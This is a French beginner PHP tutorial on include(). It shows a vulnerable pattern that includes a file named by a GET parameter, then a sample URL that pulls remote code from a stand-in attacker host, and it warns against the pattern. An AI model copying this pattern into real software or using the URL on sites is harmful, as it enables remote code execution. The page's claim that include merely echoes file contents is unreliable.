Les includes

Qu'est-ce qu'un include?

Un include est une fonction qui permet d'inclure une page dans une autre.

Exemple: dans votre site, vous avez un menu. Plutôt que de le taper dans toutes les pages de votre site, ce qui peut être ennuyant si vous voulez le modifier. Pour remédier à ce problème, il suffit de mettre votre menu dans un fichier à part et de l'inclure dans la page.
Votre site avant :

<body>
<div id ="menu">
...mon menu...
</div>
<div id="contenu">
...mon contenu...
</div>
</body></html>

Votre site après :
fichier "menu.php"

<div id ="menu">
...mon menu...
</div>

-page d'index:

...<body><?php
include('menu.php');
?>
<div id="contenu">
...mon contenu...
</div>
</body></html>

Ainsi si vous devez changer votre menu, vous ne le changerez qu'une fois. De plus, cette méthode est très sécurisée.

Et qu'est-ce qui s'affichera à l'écran ?


La même chose qu'avant que vous mettiez les includes ! Ceux servent seulement à vous simplifier la vie.
Si vous allez voir dans le code, vous trouverez ceci:

<body>
<div id ="menu">
...mon menu...
</div>
<div id="contenu">
...mon contenu...
</div>
</body></html>


Comment fonctionne un include?

En fait, l'include ouvre le fichier (fopen) récupère toutes les lignes (while+fgets) et les affiche(echo).


Il existe encore une autre manière d'utiliser les includes. Cette manière consiste à créer une page avec l'en-tête, le menu et le bas de page et d'inclure un contenu différent à chaque page que l'on visite. Vous n'aurez donc qu'une seule page que le visiteur pourra regarder.

Mais comment savoir quel contenu afficher?

Il va falloir faire des liens qui indiquent quel contenu il faut inclure. Vous aurez donc un lien qui ressemble à ceci:

<a href="index.php?contenu=photo>

Dans votre page, vous deverez récupérer le contenu de la variable contenu passé en argument du lien. Voici le code à mettre:

<?php
$include=$_GET['contenu'];
$include .='.php';
include($include);
?>

Donc, si vous avez un lien comme ceci:

<a href="index.php?contenu=bonjour">Bonjour</a>

C'est la page bonjour.php qui sera inclue. Seul point faible de cette méthode, elle est facilement piratable. Par exemple, si je tape dans la barre d'adresse ceci:
http://www.votre_site.be/index.php?contenu=http://www.pirates_du_web.com/virus
C'est la page http://www.pirates_du_web.com/virus.php qui sera inclue.

Mais comment protéger mon site?

N'utilisez pas ce système! Préférez une fonction de header et une de footer

Voilà, vous êtes maintenant incollables sur les includes. Comme vous avez pu le remarquer, il n'y a rien de très compliqué.

Voilà, le cours sur le PHP est terminé. Si vous souhaitez aller plus loin, lisez les scripts PHP, vous apprendrez toutes sortes de petits détails pouvant être très utiles.



Creative Commons License
Sauf mention contraire, le contenu de cette page est sous licence Creative Commons
Page générée en 0.2442 secondes.
Retour en haut de la page
Imprimer cette page